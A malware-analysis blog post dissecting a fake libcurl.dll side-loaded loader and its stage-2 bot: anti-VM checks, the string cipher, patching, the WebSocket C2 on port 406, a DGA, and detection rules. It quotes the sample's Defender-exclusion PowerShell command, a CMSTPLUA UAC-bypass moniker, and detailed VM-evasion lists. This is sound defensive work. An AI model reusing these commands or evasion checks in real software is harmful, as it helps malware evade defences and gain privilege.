~/f4n6 $ grep -r "Six Gates to the Bot: Patching a Fake libcurl.dll Loader's Anti-VM Checks and Emulating Its WebSocket C2" ./investigations/ --include="*.md"
malware

Six Gates to the Bot: Patching a Fake libcurl.dll Loader's Anti-VM Checks and Emulating Its WebSocket C2

Jeff Davies 29 Sep 2026 10 min read

A loader disguised as libcurl refuses to run on VMs and dies silently in sandboxes. We patched its six anti-VM checks out and captured its WebSocket C2 on port 406.


Six Gates to the Bot: Patching a Fake libcurl.dll Loader's Anti-VM Checks and Emulating Its WebSocket C2
This analysis was run on my local llm with my "malbox" mcp, this is just to demonstrate the art of possible. Since all of the news headlines are about the big US AI companies who AI escaped their "sandbox". I figure it would put mine to some good use.

TL:DR

  • A two-stage Windows intrusion chain ships as a fake libcurl.dll that a legit-looking host process side-loads. The export the host calls is curl_easy_init, and it refuses to run unless it is already running with administrator rights.
  • Stage 2 is a 608 KB x64 bot that refuses to run on virtualised, headless or sandbox hardware. Six anti-analysis checks run from the binary's static initialisers and call ExitProcess(0) on any hit. A typical sandbox detonation therefore ends in a silent two-second exit with zero network traffic which is exactly how this sample was previously written off as inert.
  • We reversed its string obfuscation (a small rotation/XOR cipher), recovered all 216 strings, then patched the six gates out with a single ret byte each. On the same VMware guest it now installed itself and beaconed within seconds.
  • Its C2 is a raw-socket WebSocket on TCP 406 the two suspicious strings 406 and 408 in the binary are ports, not HTTP status codes with a 64-name fallback DGA built from six chunks of {lav|ini} under duckdns[.]org.
  • With a listener that completes the WebSocket handshake, the bot registered itself as ready;<c: volume serial>;version;1.0.0, answered getinfo; with the host's antivirus product, Windows edition and user name, and replied pong to ping.
  • The takeaway for triage: for this cluster, a silent sandbox run means "wrong hardware", not "harmless".

A loader that hides from the analyst, not just from the AV

The sample arrived as the now-familiar shape: a password-protected archive containing an EXE that is really a DLL, a fake lcurl.dll (1,257,984 bytes, bbe9c468…, PE32+ x64). The legitimate-looking host binary side-loads it and calls the one export it cares about, curl_easy_init. That export is a gatekeeper, and its first order of business is an administrator check: AllocateAndInitializeSid for the local Administrators alias, then CheckTokenMembership. Fail, and you get a MessageBoxA reading "run with administrator rights" and an ExitProcess.

Pass, and it decrypts an embedded payload, writes it to %TEMP% under a freshly randomised 12-character name on every run, and launches it. The stage-2 binary is byte-identical across runs (97bfd8a0…, 608,256 bytes) only the filename changes. One nice build detail: stage 2's compile timestamp is seven seconds before the loader's (17:48:16 vs 17:48:23 UTC on 2026-09-28), so both were built in one sitting.

That staged payload is where the interesting part starts.

Six gates, and the reason nothing ever happened

Stage 2 carries a set of anti-analysis checks, and the first thing to understand about them is when they run. They are not called from main. They are reached through jmp thunks in the initialiser pointer table at .rdata 0x906c0–0x90780, i.e. they execute as part of CRT static initialisation before any of the program's own logic. The suite itself lives at 0x46d0 and does Sleep(500), then calls six functions in sequence:

RVAWhat it looks forHow
0x1500Display refresh rate below 50 Hz (headless / RDP / sandbox default)EnumDisplaySettingsW(NULL, ENUM_CURRENT_SETTINGS, …), checks DEVMODEW.dmDisplayFrequency at offset 0xB8
0x1660Any of 21 VM/hypervisor driver modules presentGetModuleHandleA over VBoxGuest.sys, VBoxMouse.sys, VBoxSF.sys, VBoxVideo.sys, vboxdrv.sys, vmmouse.sys, vmhgfs.sys, vm3dmp.sys, vmci.sys, vmxnet.sys, qemupci*.sys, prl_*.sys, xen*.sys
0x1ee0Any of 3 VM device paths openableCreateFileA on \\.\VBoxMiniRdrDN, \\.\HGFS, \\.\prl_usb_mouse → CloseHandle + exit
0x3190CPUID hypervisor vendor signatureleaf 1 hypervisor bit, then leaf 0x40000000 vs KVMKVMKVM, VMwareVMware, XenVMMXenVMM, prl hyperv , VBoxVBoxVBox, QEMU, KVM, VMware, Xen, prl, VBox, Hyper
0x3a50Sandbox GPU adapter namesd3d9.dll / Direct3DCreate9 plus registry enumeration, matched against Microsoft Basic Render Driver, VMware SVGA II/3D, VirtualBox Graphics Adapter, QXL, Virtio GPU, Hyper-V Video, Parallels Display Adapter, Citrix Indirect Display Adapter, Standard VGA Graphics Adapter, and — the honest one — anyrun GPU
0x4510CPUID brand stringleaves 0x80000002–4 vs Broadwell, G6900

Every one of them ends in ExitProcess(0). So on our VMware guest VMwareVMware on CPUID, VMware SVGA II for a GPU the process died roughly two seconds after launch (500 ms sleep included), before it ever touched the network. The DNS sinkhole, the HTTP emulator, the packet capture: none of it mattered. The sample was not failing to reach its C2; it was refusing to run in our house.

That is the whole reason this sample has a reputation for being inert. Automated analysis reports "exits, no behaviour" which is true, and useless.

Peeling the strings: a tiny cipher, 216 strings

Before patching anything we wanted to know what the binary would do once it did run, and that meant its strings. They are all encrypted, and the cipher turned out to be charmingly small. Two primitives, both operating bytewise with the index i:

keystream(i)     = (i * 13 + 0x95) & 0xFFplaintext[i]     = ror8(cipher[i], (i % 7) + 1) ^ keystream(i)

The binary ships 54 unrolled decryptor loops one per string length in both a byte variant (ASCII strings) and a word variant for UTF-16, where only the low byte of each word is transformed. Each accessor decrypts its blob into a slot in the module TLS block and returns that pointer. Mapping every call site to its decryptor gave us all 216 strings at once, and the picture became clear:

  • C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe the install path, masquerading as a Microsoft service component
  • Global\RuntimeBrokerAdsA a single-instance mutex
  • mops[.]to, and a bare .duckdns[.]org suffix
  • the bot vocabulary: ready;, ;version;, ping, pong, getinfo, info;, task, checkserver;
  • 1.0.0, 406, 408, and a ten-digit 8533912863
  • GET /task/%s HTTP/1.1 and a WebSocket upgrade template with the RFC 6455 example key hardcoded (dGhlIHNhbXBsZSBub25jZQ== yes, they shipped the sample nonce)
  • a Defender exclusion command: powershell -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\Windows\Microsoft','C:\ProgramData\Microsoft\Windows'" && gpupdate /force
  • injection targets (winlogon, explorer.exe, smartscreen), ntdll natives for memory writes and thread creation, AMSI patching, and a CMSTPLUA UAC bypass (Elevation:Administrator!new: + CLSID {3E5FC7F9-9A51-4367-9063-A120244FBEC7})
  • Microsoft-lookalike persistence names: MicrosoftUpdaterMachineCoreA, ProgramDataUpdateA, ScheduledDefA, SvcRestartTaskWindowsLoginsA

Two numbers stood out as odd: 406 and 408. We assumed HTTP status codes. We were wrong.

One byte per gate

The fix is almost disrespectful to the amount of work that went into those checks. Each gate function is entered with a stack-frame setup and returns void, so overwriting its first byte with 0xC3 (ret) removes it entirely:

RVAPatched byte
0x1500, 0x1660, 0x1ee0, 0x3190, 0x451048 81 ec … → c3 81 ec …
0x3a5056 48 81 … → c3 48 81 …
0x46d0 (the suite)48 83 ec 28 … → c3 83 ec 28 …

Seven rets, 608 KB binary, and the same VMware guest that the sample was built to avoid becomes a perfectly acceptable home. We staged the patched copy in C:\analysis and ran it under the malbox agent with remnux standing in as the internet: a DNS sinkhole on the analysis network answering every query with its own IP, INetSim on 80, and a packet capture.

The first run did something new: it stayed alive. It copied itself to C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe byte-identical to the running image, certutil confirmed and then sat there. No DNS, no TCP, no persistence, no injection. Five minutes of nothing.

The second run answered the question. Running the installed copy rather than the staged one produced a beacon in about ten seconds:

09:34:29  192.168.174.128   A   mops.toNET  09:34:30  192.168.174.50:406  SYN_SENT  pid=3848

Port 406. The "HTTP status codes" were the C2 ports, and the bot had been trying to reach mops[.]to:406 the entire time. With nothing listening there, it fell back to its DGA: 64 names built from six chunks of lav or ini appended to .duckdns[.]org,  lavlavlavlavlavlav, lavlavlavlavlavini, … iniiniiniiniiniini queried in binary-counting order about three seconds apart, each followed by a WebSocket handshake attempt. The odd two-entry pointer table we had been staring at in .rdata was the fragment list all along.

Meeting the bot

A TCP listener that completes the WebSocket handshake is all it took to get the rest. The bot's own messages are the interesting part. (The captures that follow are shown verbatim hostnames undefanged as primary evidence.)

bot → c2   GET / HTTP/1.1           Host: mops.to           Upgrade: websocket           Connection: Upgrade           Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==           Sec-WebSocket-Version: 13c2  → bot  101 Switching Protocolsbot → c2   ready;a2c9ad2f;version;1.0.0c2  → bot  getinfo;bot → c2   info;Windows Defender;Windows 10  Enterprise;REM;8533912863c2  → bot  pingbot → c2   pong

Reading that:

  • a2c9ad2f is the volume serial number of the system drive (A2C9-AD2F), lowercased the bot's install identifier. Same trick as a hundred other families, but derived from the volume serial rather than a GUID or MAC.
  • 8533912863 the ten-digit mystery string is the last field of the info; reply: a campaign/group identifier baked into the build.
  • The info; payload is exactly what the string table promised: AV product (via WMI AntiVirusProduct under ROOT\SecurityCenter2), Windows product name and edition, and the user name.
  • ready; and ;version; bracket the version field, which is why those strings looked like fragments: the build assembles them.
  • Port 408 is referenced in the binary but never used by this build; 406 carried everything. The GET /task/%s HTTP template also went unused in our window presumably a task-fetch path we did not provoke.

Everything is semicolon-delimited over binary WebSocket frames, and there is no User-Agent anywhere, because there is no HTTP stack: the bot talks raw sockets from ws2_32. That is why nothing showed up in the HTTP emulator until we got the port right.

Detection and hunting

The DNS and network side is the highest-fidelity place to catch this cluster, because mops[.]to and the {lav|ini} duckdns pattern are mechanical and specific:

  • Alert on outbound TCP 406. This C2 will never appear in a web-proxy log on 80/443.
  • Alert on DNS queries for mops[.]to, and on any *.duckdns[.]org name consisting of six lowercase chunks of lav/ini (all 64 are listed in our IOC file; the pattern is trivially matchable).

On the host:

  • C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe and C:\ProgramData\Microsoft\Windows\ legitimate Windows has no RuntimeBroker under ProgramData.
  • The Defender exclusion command line above, and the resulting exclusions (Get-MpPreference).
  • The mutex Global\RuntimeBrokerAdsA.
  • Scheduled-task and COM names listed earlier, though note we did not observe them being created: in our run the bot beaconed first and the persistence stage never got the chance.

Two YARA rules fell straight out of the work. The first matches the encrypted string blobs as they sit on disk since the cipher is positional, the ciphertext of the install path and the two C2 strings is stable and would carry to sibling builds even if they change campaign IDs:

rule lcurl_cluster_stage2_blobs{    meta:        description = "lcurl cluster stage 2: encrypted wide-string blobs"        author = "f4n6.co.uk"        date = "2026-09-29"    strings:        $install = { AD 00 62 00 9F 00 CE 00 77 00 6E 00 42 00 05 00 72 00 3B 00 35 00 A8 00 }        $mops    = { F1 00 37 00 FE 00 FC 00 FC 00 A8 00 46 00 E1 00 }        $duck    = { 77 00 1B 00 D6 00 FD 00 54 00 AC 00 C6 00 07 00 4F 00 2B 00 56 00 68 00 4C 00 }    condition:        uint16(0) == 0x5a4d and 2 of them}

The second keys on the author's own section name, .strenc, plus the plaintext UAC-bypass strings:

rule lcurl_cluster_stage2_strenc{    meta:        description = "lcurl cluster stage 2: PE32+ x64 with a .strenc section"    condition:        uint16(0) == 0x5a4d and        pe.number_of_sections > 5 and        for any i in (0..pe.number_of_sections - 1) : ( pe.sections[i].name == ".strenc" )}rule lcurl_cluster_uac_bypass_strings{    meta:        description = "lcurl cluster stage 2: CMSTPLUA UAC bypass strings"    strings:        $a = "Elevation:Administrator!new:" wide ascii        $b = "{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" wide ascii nocase        $c = "Global\\RuntimeBrokerAdsA" wide ascii        $d = "ProgramData\\Windows\\Microsoft" wide ascii nocase    condition:        uint16(0) == 0x5a4d and 2 of them}

And a Sigma for the self-exclusion, which is a high-signal process-creation event:

title: Defender exclusion added for ProgramData Windows/Microsoft pathslogsource:    category: process_creation    product: windowsdetection:    selection:        CommandLine|contains|all:            - 'Add-MpPreference'            - 'ExclusionPath'            - 'ProgramData\Windows\Microsoft'            - 'ProgramData\Microsoft\Windows'    condition: selectionlevel: high

Lessons

A silent sandbox result is a finding, not a verdict. This sample's entire design assumes the analyst gives up when nothing happens. The counter is cheap: when a PE reliably dies in under three seconds with exit code 0 and no syscalls worth mentioning, look for initialiser-resident checks and patch them out. Seven bytes of ret turned "inert" into a full C2 protocol capture, and the same guest that failed every check became a working lab.

The obfuscation only has to be good enough to make you lazy. The string cipher here is a rotation and an XOR trivially reversible once you read the two primitives but it hides the install path, the C2, and the protocol vocabulary from every string-based triage tool. Half a day of reversing it was worth more than any amount of sandbox time.

Attribution is still open. We found no public family name for this build. It is self-labelled 1.0.0 with campaign id 8533912863, matches the fake-libcurl DLL-sideload pattern we have seen before, and the DGA fragment table (lav/ini) looks like a placeholder the author never replaced — the names are nonsense, and half the space was never queried in our window. If you have seen mops[.]to:406 or a {lav|ini} duckdns name in your telemetry, we would like to hear about it.

Indicators

Hashes, defanged network indicators, paths and the full 64-name DGA list are in the accompanying technical report. The ones that matter most operationally:

  • C2: mops[.]to TCP 406 (WebSocket, path /); fallback 64 × <lav|ini ×6>.duckdns[.]org on 406
  • Stage 1 (fake lcurl.dll): SHA-256 bbe9c46885ad9515f383f8df2346e778c272876153e137bc18f9d92e4145d2de, MD5 c5999f3d393bc49eb59cfade2719cc74
  • Stage 2 (bot): SHA-256 97bfd8a0a504f37a0527b11a378384eac6126d7afb7f5305fbf2363f5e9d614b, MD5 a3c43649755ba086620c95b0ff62cf36
  • Install path: C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe
  • Mutex: Global\RuntimeBrokerAdsA
  • Campaign id: 8533912863

Samples were handled in an isolated, host-only lab with a sinkholed resolver and emulated services; no traffic left the test network.

Post this to LinkedIn
Formatting is converted automatically — headings, bullets, a link back & hashtags. Paste straight in.
J
Jeff Davies
// read next

Related